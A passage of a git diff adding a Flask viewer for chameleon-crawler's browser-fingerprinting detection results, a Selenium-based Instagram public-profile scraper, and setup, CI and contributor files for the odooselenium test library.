+            (STRFTIME('%s', end_time) - STRFTIME('%s', start_time)) duration,
+            STRFTIME('%s', start_time) start_time
+            FROM crawl
+            JOIN result ON result.crawl_id = crawl.id
+            GROUP BY crawl.id
+            ORDER BY crawl.id DESC"""
+        ))
+
+
+@app.template_filter('number_format')
+def number_format(value):
+    return '{:,}'.format(value)
+
+
+@app.route('/errors')
+def errors():
+    crawl_ids = [int(i) for i in request.args.getlist('crawl')]
+
+    return render_template(
+        'errors.html',
+        problem_pages=get_problem_pages(crawl_ids)
+    )
+
+
+@app.route('/results')
+def results():
+    args = {}
+
+    crawl_ids = [int(i) for i in request.args.getlist('crawl')]
+
+    if crawl_ids:
+        args['crawl_ids'] = crawl_ids
+
+    all_filters = {
+        'canvas',
+        'font_enum',
+        'navigator_enum',
+        'num_properties',
+        'webgl',
+        'webrtc'
+    }
+    filters = request.args.getlist('filter')
+
+    if set.intersection(all_filters, filters):
+        for filt in all_filters:
+            args[filt] = filt in filters
+
+        if 'num_properties' in filters:
+            args['num_properties'] = request.args.get('num_properties')
+
+    fingerprinters, result_ids = get_fingerprinters(**args)
+
+    return render_template(
+        'results.html',
+        fingerprinters=fingerprinters,
+        canvases=get_canvases(result_ids)
+    )
+
+
+@app.route('/')
+def index():
+    crawls = get_crawls()
+
+    for crawl in crawls:
+        crawl['start_time'] = datetime.utcfromtimestamp(
+            int(crawl['start_time'])).strftime("%b %d %Y %I:%M %p")
+
+    return render_template(
+        'crawls.html',
+        crawls=crawls,
+        error_counts=get_error_counts()
+    )
diff --git a/chameleon-crawler/viewer/static/16.png b/chameleon-crawler/viewer/static/16.png
new file mode 100644
index 0000000000000000000000000000000000000000..a1930bf368e18cfeaed0ec65b7dcd97d4cbfc3df
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diff --git a/chameleon-crawler/viewer/static/index.css b/chameleon-crawler/viewer/static/index.css
new file mode 100644
index 00000000..838e4e2d
--- /dev/null
+++ b/chameleon-crawler/viewer/static/index.css
@@ -0,0 +1,88 @@
+a, a:visited {
+	color: #c00;
+	text-decoration: none;
+}
+
+a:hover {
+	text-decoration: underline;
+}
+
+body {
+	color: #444;
+	font: normal 15px 'Helvetica Neue', 'Helvetica', sans-serif;
+	line-height: 1.3em;
+	margin: 30px auto;
+	width: 990px;
+}
+
+h1 {
+	margin: 0 0 15px;
+}
+
+h3 {
+	background-color: pink;
+	display: inline-block;
+	margin: 10px 0;
+	padding: 5px;
+}
+
+hr {
+	background-color: #ccc;
+	border: 0;
+	height: 1px;
+	margin: 20px 0;
+}
+
+table {
+	border: 1px solid #ddd;
+	border-collapse: collapse;
+}
+
+tbody tr:nth-child(odd) {
+	background-color: #eee;
+}
+
+th {
+	border: 1px solid #ddd;
+	font-size: 13px;
+	padding: 5px 10px;
+	white-space: nowrap;
+}
+
+td {
+	border: 1px solid #ddd;
+	padding: 5px 10px;
+	white-space: nowrap;
+}
+
+input[type=submit] {
+	padding: 5px 10px;
+}
+
+.canvas-image-data {
+	border: 2px dotted pink;
+	max-width: 75px;
+}
+
+.ellipsis {
+	overflow: hidden;
+	text-overflow: ellipsis;
+	white-space: nowrap;
+}
+
+.center {
+	text-align: center;
+}
+
+.right {
+	text-align: right;
+}
+
+.script-url, .url {
+	max-width: 280px;
+}
+
+.script-url {
+	max-width: 900px;
+	padding-bottom: 5px;
+}
diff --git a/chameleon-crawler/viewer/static/index.js b/chameleon-crawler/viewer/static/index.js
new file mode 100644
index 00000000..e5dd223a
--- /dev/null
+++ b/chameleon-crawler/viewer/static/index.js
@@ -0,0 +1,41 @@
+/*!
+ * chameleon-crawler
+ *
+ * Copyright 2016 ghostwords.
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ *
+ */
+
+function init_checkboxes() {
+	var els = document.querySelectorAll('.select-all');
+
+	function find_parent(el) {
+		var parent = el;
+		while (['table', 'form'].indexOf(parent.tagName.toLowerCase()) == -1) {
+			parent = parent.parentNode;
+		}
+		return parent;
+	}
+
+	for (var i = 0, count = els.length; i < count; i++) {
+		var child_checks = find_parent(els[i])
+			.querySelectorAll('input[type=checkbox]');
+
+		(function (checks) {
+			els[i].addEventListener('click', function () {
+				for (var i = 0, count = checks.length; i < count; i++) {
+					if (checks[i] != this) {
+						checks[i].checked = this.checked;
+					}
+				}
+			});
+		}(child_checks));
+	}
+}
+
+document.addEventListener('DOMContentLoaded', function () {
+	init_checkboxes();
+});
diff --git a/chameleon-crawler/viewer/templates/_crawls_table.html b/chameleon-crawler/viewer/templates/_crawls_table.html
new file mode 100644
index 00000000..a2e02d96
--- /dev/null
+++ b/chameleon-crawler/viewer/templates/_crawls_table.html
@@ -0,0 +1,72 @@
+<form>
+	<h2><img src="{{ url_for('static', filename='16.png') }}" title="Chameleon"> Crawls</h2>
+	<p>
+		See what <a href="https://github.com/ghostwords/chameleon">Chameleon</a> found on its <a href="https://github.com/ghostwords/chameleon-crawler">travels</a> around the Web.
+	</p>
+	<input type="submit" formaction="/results" value="Show results">
+	&nbsp;
+	<input type="submit" formaction="/errors" value="Show failures">
+	<br>
+	<br>
+	<table id="crawls-table">
+		<tr class="no-sort">
+			<th><input type="checkbox" class="select-all"></th>
+			<th>crawl #</th>
+			<th>start time</th>
+			<th>number of URLs</th>
+			<th>timeout rate</th>
+			<th>error rate</th>
+			<th>duration (minutes)</th>
+			<th>speed (URLs/min)</th>
+			<th>crawl args</th>
+		</tr>
+		{% for crawl in crawls %}
+			<tr>
+				<td>
+					<input type="checkbox" name="crawl" value="{{ crawl.id }}"
+						{{- ' checked' if crawl.id|string in request.values.getlist('crawl') }}>
+				</td>
+
+				<td class="center">{{ crawl.id }}</td>
+
+				<td>{{ crawl.start_time }}</td>
+
+				<td class="right">{{ crawl.num_urls|number_format }}</td>
+
+				<td class="right">
+				{% with num_timeouts = error_counts[crawl.id]['TIMEOUT']|default(0) if crawl.id in error_counts else 0 %}
+					{% if num_timeouts > 0 %}
+						{{ ((num_timeouts / crawl.num_urls * 100)|round(1)) }}%
+					{% endif %}
+				{% endwith %}
+				</td>
+
+				<td class="right">
+				{% with num_errors = error_counts[crawl.id]['BROWSER ERROR']|default(0) if crawl.id in error_counts else 0 %}
+					{% if num_errors > 0 %}
+						{{ ((num_errors / crawl.num_urls * 100)|round(1)) }}%
+					{% endif %}
+				{% endwith %}
+				</td>
+
+				<td class="right">
+					{{ (crawl.duration / 60)|round|int if crawl.duration is number else '-' }}
+				</td>
+
+				<td class="right">
+					{{ (crawl.num_urls / crawl.duration * 60)|round(1) if crawl.duration is number else '-' }}
+				</td>
+
+				<td title="{{ crawl.args if crawl.args }}">
+					<div style="width:120px" class="ellipsis">
+						{{ crawl.args if crawl.args }}
+					</div>
+				</td>
+			</tr>
+		{% endfor %}
+	</table>
+	<br>
+	<input type="submit" formaction="/results" value="Show results">
+	&nbsp;
+	<input type="submit" formaction="/errors" value="Show failures">
+</form>
diff --git a/chameleon-crawler/viewer/templates/_fingerprinters.html b/chameleon-crawler/viewer/templates/_fingerprinters.html
new file mode 100644
index 00000000..f36d12dd
--- /dev/null
+++ b/chameleon-crawler/viewer/templates/_fingerprinters.html
@@ -0,0 +1,104 @@
+{% from 'helpers/form.html' import checkbox %}
+<hr>
+
+<h2>Fingerprinters</h2>
+
+<a href="#" id="filter-results-link"{{-
+	' style="display:none"'|safe if 'filter' in request.args }}>+ Filter results</a>
+<form id="filter-results-form"{{-
+	' style="display:none"'|safe if 'filter' not in request.args }}>
+	Show scripts that perform:
+	<br>
+	<br>
+
+	<label>
+		{{ checkbox('filter', 'canvas') }}
+		Canvas fingerprinting
+	</label>
+	<br>
+	<label>
+		{{ checkbox('filter', 'font_enum') }}
+		Font enumeration
+	</label>
+	<br>
+	<label>
+		{{ checkbox('filter', 'navigator_enum') }}
+		Navigator enumeration
+	</label>
+	<br>
+	<label>
+		{{ checkbox('filter', 'num_properties') }}
+		<input type="number" min="1" max="99" name="num_properties" value="
+			{{- request.args.get('num_properties', '4') if 'num_properties' in request.args.getlist('filter') else '4' }}">
+		or more distinct property accesses
+	</label>
+	<br>
+	<label>
+		{{ checkbox('filter', 'webgl') }}
+		WebGLRenderingContext's getParameter/getSupportedExtensions (WebGL)
+	</label>
+	<br>
+	<label>
+		{{ checkbox('filter', 'webrtc') }}
+		RTCPeerConnection initialization (WebRTC)
+	</label>
+	<br>
+	<br>
+
+	{% for crawl_id in request.args.getlist('crawl') %}
+		<input type="hidden" name="crawl" value="{{ crawl_id }}">
+	{% endfor %}
+
+	<input type="submit" value="Filter results">
+</form>
+
+<hr>
+
+{% if not fingerprinters %}
+	<p>No results.</p>
+{% endif %}
+{% for script_domain, domain_data in fingerprinters|dictsort %}
+	<h3>{{ script_domain }}</h3>
+	<br>
+	{% for script_url, script_data in domain_data|dictsort %}
+		<div class="script-url ellipsis" title="{{ script_url }}">
+			{{ script_url|replace(script_domain, '<b>'|safe + script_domain + '</b>'|safe, 1) }}
+		</div>
+		<table>
+			<tr>
+				<th width=280>crawl URL</th>
+				<th width=280>page URL</th>
+				<th width=75>canvas</th>
+				<th width=75>font enum.</th>
+				<th width=75>nav. enum.</th>
+				<th width=75>num. props.</th>
+			</tr>
+			{% for fp in script_data %}
+				<tr>
+					<td>
+						<div class="url ellipsis" title="{{ fp.crawl_url }}">{{ fp.crawl_url }}</div>
+					</td>
+					<td>
+						<div class="url ellipsis" title="{{ fp.page_url }}">
+							{{ fp.page_url if fp.page_url != fp.crawl_url else '-' }}
+						</div>
+					</td>
+					<td title="canvas fingerprinting" class="center">
+						{% if fp.canvas_id %}
+							<a href="{{ canvases[fp.canvas_id] }}" target=_blank>
+								<img src="{{ canvases[fp.canvas_id] }}"
+									class="canvas-image-data" title="canvas image data">
+							</a>
+						{% elif fp.canvas %}
+							●
+						{% endif %}
+					</td>
+					<td title="font enumeration" class="center">{{ "●" if fp.font_enum }}</td>
+					<td title="navigator enumeration" class="center">{{ "●" if fp.navigator_enum }}</td>
+					<td class="center">{{ fp.num_properties if fp.num_properties > 0 }}</td>
+				</tr>
+			{% endfor %}
+		</table>
+		<br>
+	{% endfor %}
+{% endfor %}
diff --git a/chameleon-crawler/viewer/templates/crawls.html b/chameleon-crawler/viewer/templates/crawls.html
new file mode 100644
index 00000000..ff97bc8e
--- /dev/null
+++ b/chameleon-crawler/viewer/templates/crawls.html
@@ -0,0 +1,11 @@
+{% extends "index.html" %}
+
+{% block body %}
+
+	{% if crawls %}
+		{% include '_crawls_table.html' %}
+	{% else %}
+		No crawls found. Please run crawl.py first.
+	{% endif %}
+
+{% endblock %}
diff --git a/chameleon-crawler/viewer/templates/errors.html b/chameleon-crawler/viewer/templates/errors.html
new file mode 100644
index 00000000..bf7f20d0
--- /dev/null
+++ b/chameleon-crawler/viewer/templates/errors.html
@@ -0,0 +1,47 @@
+{% extends "index.html" %}
+
+{% block body %}
+
+	<a href="/">back to list</a>
+
+	<hr>
+
+	<div style="float:left; margin-right:40px">
+		<h2>Pages that timed out</h2>
+		<table>
+			<tr>
+				<th>crawl URL</th>
+				<th>count</th>
+			</tr>
+			{% for page in problem_pages %}
+				{% if page.error == 'TIMEOUT' %}
+					<tr>
+						<td>{{ page.crawl_url }}</td>
+						<td class="center">{{ page.count }}</td>
+					</tr>
+				{% endif %}
+			{% endfor %}
+		</table>
+	</div>
+
+	<div style="float:left">
+		<h2>Pages that errored out</h2>
+		<table>
+			<tr>
+				<th>crawl URL</th>
+				<th>count</th>
+			</tr>
+			{% for page in problem_pages %}
+				{% if page.error == 'BROWSER ERROR' %}
+					<tr>
+						<td>{{ page.crawl_url }}</td>
+						<td class="center">{{ page.count }}</td>
+					</tr>
+				{% endif %}
+			{% endfor %}
+		</table>
+	</div>
+
+	<div style="clear:both"></div>
+
+{% endblock %}
diff --git a/chameleon-crawler/viewer/templates/helpers/form.html b/chameleon-crawler/viewer/templates/helpers/form.html
new file mode 100644
index 00000000..a6c83022
--- /dev/null
+++ b/chameleon-crawler/viewer/templates/helpers/form.html
@@ -0,0 +1,4 @@
+{% macro checkbox(name, value="1") -%}
+	<input type="checkbox" name="{{ name }}" value="{{ value }}"
+		{{- ' checked' if value in request.args.getlist(name) }}>
+{%- endmacro %}
diff --git a/chameleon-crawler/viewer/templates/index.html b/chameleon-crawler/viewer/templates/index.html
new file mode 100644
index 00000000..2597e800
--- /dev/null
+++ b/chameleon-crawler/viewer/templates/index.html
@@ -0,0 +1,24 @@
+<!doctype html>
+<!--
+ * chameleon-crawler
+ *
+ * Copyright 2016 ghostwords.
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+-->
+<html>
+	<head>
+		<title>Chameleon Crawler Viewer</title>
+		<link href="{{ url_for('static', filename='index.css') }}" rel="stylesheet" type="text/css">
+		<link href="{{ url_for('static', filename='16.png') }}" rel="shortcut icon" type="image/png">
+		{% block head %}
+		{% endblock %}
+	</head>
+	<body>
+		{% block body %}
+		{% endblock %}
+		<script src="{{ url_for('static', filename='index.js') }}" charset="UTF-8"></script>
+	</body>
+</html>
diff --git a/chameleon-crawler/viewer/templates/results.html b/chameleon-crawler/viewer/templates/results.html
new file mode 100644
index 00000000..7618fb2e
--- /dev/null
+++ b/chameleon-crawler/viewer/templates/results.html
@@ -0,0 +1,36 @@
+{% extends "index.html" %}
+
+{% block body %}
+
+	<a href="/">back to list</a>
+
+	{% include '_fingerprinters.html' %}
+
+	<script>
+document.addEventListener('DOMContentLoaded', function () {
+	document.getElementById('filter-results-link').addEventListener('click', function (e) {
+		// check defaults
+		var selector = []
+			defaults = [
+				'canvas',
+				'font_enum',
+				'navigator_enum',
+				'num_properties'
+			];
+		defaults.forEach(function (val) {
+			selector.push('input[type=checkbox][name=filter][value=' + val + ']');
+		});
+		var els = document.querySelectorAll(selector.join(", "));
+		for (var i = 0, num_els = els.length; i < num_els; i++) {
+			els[i].checked = true;
+		}
+
+		this.style.display = 'none';
+		document.getElementById('filter-results-form').style.display = '';
+
+		e.preventDefault();
+	});
+});
+	</script>
+
+{% endblock %}
diff --git a/instagram-profilecrawl/.gitignore b/instagram-profilecrawl/.gitignore
new file mode 100644
index 00000000..72364f99
--- /dev/null
+++ b/instagram-profilecrawl/.gitignore
@@ -0,0 +1,89 @@
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+*$py.class
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+env/
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib/
+lib64/
+parts/
+sdist/
+var/
+*.egg-info/
+.installed.cfg
+*.egg
+
+# PyInstaller
+#  Usually these files are written by a python script from a template
+#  before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*,cover
+.hypothesis/
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+local_settings.py
+
+# Flask stuff:
+instance/
+.webassets-cache
+
+# Scrapy stuff:
+.scrapy
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+target/
+
+# IPython Notebook
+.ipynb_checkpoints
+
+# pyenv
+.python-version
+
+# celery beat schedule file
+celerybeat-schedule
+
+# dotenv
+.env
+
+# virtualenv
+venv/
+ENV/
+
+# Spyder project settings
+.spyderproject
+
+# Rope project settings
+.ropeproject
diff --git a/instagram-profilecrawl/LICENSE b/instagram-profilecrawl/LICENSE
new file mode 100644
index 00000000..b9149d66
--- /dev/null
+++ b/instagram-profilecrawl/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2017 Tim Großmann
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/instagram-profilecrawl/README.md b/instagram-profilecrawl/README.md
new file mode 100644
index 00000000..812a9854
--- /dev/null
+++ b/instagram-profilecrawl/README.md
@@ -0,0 +1,61 @@
+<img src="https://s3-eu-central-1.amazonaws.com/centaur-wp/designweek/prod/content/uploads/2016/05/11170038/Instagram_Logo-1002x1003.jpg" width="200" align="right">
+
+# Instagram-Profilecrawl
+
+## Quickly crawl the information (e.g. followers, tags etc...) of an instagram profile. No login required!
+Automation Script for crawling information from ones instagram profile.  
+Like e.g. the number of posts, followers, and the tags of the the posts
+
+#### Getting started
+Just do:
+```bash
+git clone https://github.com/timgrossmann/instagram-profilecrawl.git
+```
+
+It uses selenium to get all the information so install it with:
+```bash
+pip install selenium
+```
+
+## Use it!
+Now you can start it using:
+```bash
+python3.5 crawl_profile.py username1 username2 ... usernameX
+```
+
+#### The information will be saved in a JSON-File in ./profiles/{username}.json.
+> Example of a files data
+```
+{
+  "alias": "Tim Gro\u00dfmann",
+  "username": "grossertim",
+  "num_of_posts": 127, 
+  "posts": [
+    {
+      "tags": ["#fun", "#good", "#goodday", "#goodlife", "#happy", "#goodtime", "#funny", ...], 
+      "comments": 12, 
+      "img": "https://scontent.cdninstagram.com/t51.2885-15/e15/p640x640/16585292_1355568261161749_3055111083476910080_n.jpg?ig_cache_key=MTQ0ODY3MjA3MTQyMDA3Njg4MA%3D%3D.2", 
+      "likes": 284
+     }, 
+     {
+      "tags": ["#vegan", "#veganfood", "#vegansofig", "#veganfoodporn", "#vegansofig", ...], 
+      "comments": 6, 
+      "img": "https://scontent.cdninstagram.com/t51.2885-15/e35/16122741_405776919775271_8171424637851271168_n.jpg?ig_cache_key=MTQ0Nzk0Nzg2NDI2ODc5MTYzNw%3D%3D.2", 
+      "likes": 206
+     },
+     .
+     .
+     .
+     ], 
+  "prof_img": "https://scontent.cdninstagram.com/t51.2885-19/s320x320/14564896_1313394225351599_6953533639699202048_a.jpg", 
+  "followers": 1950, 
+  "following": 310
+}
+```
+
+#### With the help of [Wordcloud](https://github.com/amueller/word_cloud) you could do something like that with your used tags
+![](http://i65.tinypic.com/2nkrrtg.png)
+
+<hr />
+
+###### Have Fun & Feel Free to report any issues
diff --git a/instagram-profilecrawl/crawl_profile.py b/instagram-profilecrawl/crawl_profile.py
new file mode 100755
index 00000000..3326a340
--- /dev/null
+++ b/instagram-profilecrawl/crawl_profile.py
@@ -0,0 +1,37 @@
+#!/usr/bin/env python3.5
+
+"""Goes through all usernames and collects their information"""
+import json
+
+from selenium import webdriver
+from selenium.webdriver.chrome.options import Options
+
+from util.cli_helper import get_all_user_names
+from util.extractor import extract_information
+
+chrome_options = Options()
+chrome_options.add_argument('--dns-prefetch-disable')
+chrome_options.add_argument('--no-sandbox')
+chrome_options.add_argument('--lang=en-US')
+chrome_options.add_experimental_option('prefs', {'intl.accept_languages': 'en-US'})
+browser = webdriver.Chrome('./assets/chromedriver', chrome_options=chrome_options)
+
+# makes sure slower connections work as well
+browser.implicitly_wait(25)
+
+try:
+  usernames = get_all_user_names()
+
+  for username in usernames:
+    print('Extracting information from ' + username)
+    information = extract_information(browser, username)
+
+    with open('./profiles/' + username + '.json', 'w') as fp:
+      json.dump(information, fp)
+
+except KeyboardInterrupt:
+  print('Aborted...')
+
+finally:
+  browser.delete_all_cookies()
+  browser.close()
diff --git a/instagram-profilecrawl/profiles/test.json b/instagram-profilecrawl/profiles/test.json
new file mode 100644
index 00000000..e69de29b
diff --git a/instagram-profilecrawl/util/__init__.py b/instagram-profilecrawl/util/__init__.py
new file mode 100644
index 00000000..e69de29b
diff --git a/instagram-profilecrawl/util/cli_helper.py b/instagram-profilecrawl/util/cli_helper.py
new file mode 100644
index 00000000..73b2816c
--- /dev/null
+++ b/instagram-profilecrawl/util/cli_helper.py
@@ -0,0 +1,15 @@
+"""Util functions for the script"""
+import sys
+
+def get_all_user_names():
+  """Returns all the usernames given as parameter"""
+  usernames = []
+
+  #display provide username
+  if len(sys.argv) < 2:
+    sys.exit('- Please provide at least one username!\n')
+
+  for username in sys.argv[1:]:
+    usernames.append(username)
+
+  return usernames
diff --git a/instagram-profilecrawl/util/extractor.py b/instagram-profilecrawl/util/extractor.py
new file mode 100644
index 00000000..b54234b6
--- /dev/null
+++ b/instagram-profilecrawl/util/extractor.py
@@ -0,0 +1,143 @@
+"""Methods to extract the data for the given usernames profile"""
+from time import sleep
+from re import findall
+
+from selenium.common.exceptions import NoSuchElementException
+from selenium.webdriver.common.keys import Keys
+
+def get_user_info(browser):
+  """Get the basic user info from the profile screen"""
+
+  container = browser.find_element_by_class_name('_de9bg')
+  img_container = browser.find_element_by_class_name('_o0ohn')
+
+  infos = container.find_elements_by_class_name('_218yx')
+
+  alias_name = container.find_element_by_class_name('_bugdy')\
+                        .find_element_by_tag_name('h2').text
+  prof_img = img_container.find_element_by_tag_name('img').get_attribute('src')
+  num_of_posts = int(infos[0].text.split(' ')[0].replace(',', ''))
+  followers = infos[1].text.split(' ')[0].replace(',', '').replace('.', '')
+  followers = int(followers.replace('k', '00').replace('m', '00000'))
+  following = infos[2].text.split(' ')[0].replace(',', '').replace('.', '')
+  following = int(following.replace('k', '00'))
+
+  return alias_name, prof_img, num_of_posts, followers, following
+
+
+def extract_post_info(browser):
+  """Get the information from the current post"""
+
+  post = browser.find_element_by_class_name('_tjnr4')
+
+  print('BEFORE IMG')
+
+  imgs = post.find_elements_by_tag_name('img')
+  img = ''
+
+  if len(imgs) >= 2:
+    img = imgs[1].get_attribute('src')
+
+  likes = post.find_element_by_tag_name('section')\
+          .find_element_by_tag_name('div').text
+
+  likes = likes.split(' ')
+
+  #count the names if there is no number displayed
+  if len(likes) > 2:
+    likes = len([word for word in likes if word not in ['and', 'like', 'this']])
+  else:
+    likes = likes[0]
+    likes = likes.replace(',', '').replace('.', '')
+    likes = likes.replace('k', '00')
+
+  # if more than 22 comment elements, use the second to see
+  # how much comments, else count the li's
+
+  # first element is the text, second either the first comment
+  # or the button to display all the comments
+  comment_list = post.find_element_by_tag_name('ul')
+  comments = comment_list.find_elements_by_tag_name('li')
+
+  if len(comments) > 1:
+    tags = comments[0].text + ' ' + comments[1].text
+  else:
+    tags = comments[0].text
+
+  tags = findall(r'#[A-Za-z0-9]*', tags)
+
+  if len(comments) < 22:
+    comments = len(comments) - 1
+  else:
+    comments = comments[1].find_element_by_tag_name('span').text
+    comments = comments.replace(',', '')
+
+  return img, tags, int(likes), int(comments)
+
+
+def extract_information(browser, username):
+  """Get all the information for the given username"""
+
+  browser.get('https://www.instagram.com/' + username)
+
+  alias_name, prof_img, num_of_posts, followers, following \
+    = get_user_info(browser)
+
+  prev_divs = browser.find_elements_by_class_name('_myci9')
+
+  if num_of_posts > 12:
+    try:
+      body_elem = browser.find_element_by_tag_name('body')
+
+      load_button = body_elem.find_element_by_xpath\
+        ('//a[contains(@class, "_8imhp _glz1g")]')
+      body_elem.send_keys(Keys.END)
+      sleep(1)
+
+      load_button.click()
+
+      body_elem.send_keys(Keys.HOME)
+      sleep(1)
+
+      while len(browser.find_elements_by_class_name('_myci9')) > len(prev_divs):
+        prev_divs = browser.find_elements_by_class_name('_myci9')
+        body_elem.send_keys(Keys.END)
+        sleep(1)
+        body_elem.send_keys(Keys.HOME)
+        sleep(1)
+
+    except NoSuchElementException as err:
+      print('- Only few posts\n')
+
+  links_elems = [div.find_elements_by_tag_name('a') for div in prev_divs]
+  links = sum([[link_elem.get_attribute('href')
+                for link_elem in elems] for elems in links_elems], [])
+
+  post_infos = []
+
+  for link in links:
+    browser.get(link)
+
+    try:
+      img, tags, likes, comments = extract_post_info(browser)
+
+      post_infos.append({
+        'img': img,
+        'tags': tags,
+        'likes': likes,
+        'comments': comments
+      })
+    except NoSuchElementException:
+      print('- Could not get information from post: ' + link)
+
+  information = {
+    'alias': alias_name,
+    'username': username,
+    'prof_img': prof_img,
+    'num_of_posts': num_of_posts,
+    'followers': followers,
+    'following': following,
+    'posts': post_infos
+  }
+
+  return information
diff --git a/odooselenium/.gitignore b/odooselenium/.gitignore
new file mode 100644
index 00000000..2ce90d70
--- /dev/null
+++ b/odooselenium/.gitignore
@@ -0,0 +1,19 @@
+# Python files.
+*.pyc
+*.pyo
+*.egg-info
+
+# Third-party libraries.
+/lib/
+
+# Data files.
+/var/
+
+# Tox files.
+/.tox/
+
+# Cache files
+.cache/
+
+# Coverage
+.coverage
diff --git a/odooselenium/.travis.yml b/odooselenium/.travis.yml
new file mode 100644
index 00000000..845ee639
--- /dev/null
+++ b/odooselenium/.travis.yml
@@ -0,0 +1,23 @@
+after_script:
+- make odoo-stop
+before_script:
+- "wget https://chromedriver.storage.googleapis.com/2.25/chromedriver_linux64.zip"
+- "mkdir chromedriver"
+- "sudo unzip chromedriver_linux64.zip -d chromedriver"
+- "export PATH=$PATH:chromedriver"
+- "export DISPLAY=:99.0"
+- "sh -e /etc/init.d/xvfb start"
+- sleep 3  # give xvfb some time to start
+- make odoo-start
+env:
+- TOXENV=py27
+- TOXENV=flake8
+- TOXENV=readme
+install:
+- make develop
+language: python
+script:
+- make test
+services:
+- docker
+sudo: required
diff --git a/odooselenium/AUTHORS b/odooselenium/AUTHORS
new file mode 100644
index 00000000..7becfc1a
--- /dev/null
+++ b/odooselenium/AUTHORS
@@ -0,0 +1,9 @@
+######################
+Authors & contributors
+######################
+
+`odooselenium` has been developed by `Meta IT <http://meta-it.fr>`_ team. See
+also https://github.com/meta-it/odooselenium/graphs/contributors.
+
+`odooselenium` is free software, published under the terms of GNU-GPL V2.
+See LICENSE file.
diff --git a/odooselenium/CHANGELOG b/odooselenium/CHANGELOG
new file mode 100644
index 00000000..e8f3840f
--- /dev/null
+++ b/odooselenium/CHANGELOG
@@ -0,0 +1,56 @@
+Changelog
+=========
+
+Here are release notes of `odooselenium` project.
+
+
+1.1 (unreleased)
+----------------
+
+- Nothing changed yet.
+
+
+1.0 (2016-12-12)
+----------------
+
+- Nothing changed yet.
+
+
+1.0 (2016-12-12)
+----------------
+
+Master release.
+
+* Merge `Pull request #5`_
+  .. _`Pull request #5`: https://github.com/meta-it/odooselenium/pull/5
+
+* Add wrapper classes for Odoo views and pages
+
+* Small enhancements on wait functions
+
+* Replace Firefox driver by Chrome, Firefox is now available on `feature-firefox`_
+  .. _`feature-firefox`: https://github.com/meta-it/odooselenium/tree/feature-firefox
+
+
+0.1.1 (2015-11-25)
+------------------
+
+Bugfix release.
+
+* `Bugfix #1`_: ``OdooUI.wait_for_page_load()`` waits for staleness of ``body``
+  element in DOM. Was waiting for element by CSS selector
+  ``.oe_application .oe_view_manager``. Fixes loading in ``OdooUI.login()``.
+
+  .. _`Bugfix #1`: https://github.com/meta-it/odooselenium/issues/1
+
+
+0.1 (2015-11-23)
+----------------
+
+Initial release:
+
+* Class ``odooselenium.OdooUI`` provides very basic Python bindings for Odoo
+  web user interface, using Selenium.
+
+* Base class ``odooselenium.TestCase`` uses Selenium webdriver and OdooUI in a
+  test case.
diff --git a/odooselenium/CONTRIBUTING.rst b/odooselenium/CONTRIBUTING.rst
new file mode 100644
index 00000000..e52d1c18
--- /dev/null
+++ b/odooselenium/CONTRIBUTING.rst
@@ -0,0 +1,97 @@
+#################
+Contributor guide
+#################
+
+This document provides guidelines for people who want to contribute to the
+project.
+
+
+**************
+Create tickets
+**************
+
+Please use the `bugtracker`_ **before** starting some work:
+
+* check if the bug or feature request has already been filed. It may have been
+  answered too!
+* else create a new ticket.
+* if you plan to contribute, tell us, so that we are given an opportunity to
+  give feedback as soon as possible.
+* Then, in your commit messages, reference the ticket with some
+  ``refs #TICKET-ID`` syntax.
+
+
+***************
+Fork and branch
+***************
+
+* Work in forks and branches, use git-flow.
+
+* Prefix your branch with the ticket ID corresponding to the issue. As an
+  example, if you are working on ticket #23 which is about contribute
+  documentation, name your branch like ``feature/23-contribute-doc`` using
+  ``git flow feature start 23-contribute-doc``.
+
+
+*******************************
+Setup a development environment
+*******************************
+
+System requirements:
+
+* `Python`_ version 2.7, available as ``python`` command.
+  
+  .. note::
+
+     You may use `Virtualenv`_ to make sure the active ``python`` is the right
+     one.
+
+* make and wget to use the provided `Makefile`.
+
+* `Docker`_ is the suggested tool to setup and run Odoo service. Continuous
+  integration uses Docker. See ``docker-compose.yml`` and ``.travis.yml``.
+
+  Docker is used to serve Odoo at ``http://localhost:8069``, with user
+  ``admin``, password ``admin`` and database ``test``. These values will be
+  used within `odooselenium`'s own tests.
+
+Execute:
+
+.. code-block:: sh
+
+   git clone git@github.com/meta-it/odooselenium.git
+   cd odooselenium/
+   make test
+
+If you cannot execute the Makefile, read it and adapt the few commands it
+contains to your needs.
+
+
+************
+The Makefile
+************
+
+A `Makefile` is provided to ease development. Use it to:
+
+* run tests: ``make test``
+
+The `Makefile` is intended to be a live reference for the development
+environment.
+
+
+**************
+Test and build
+**************
+
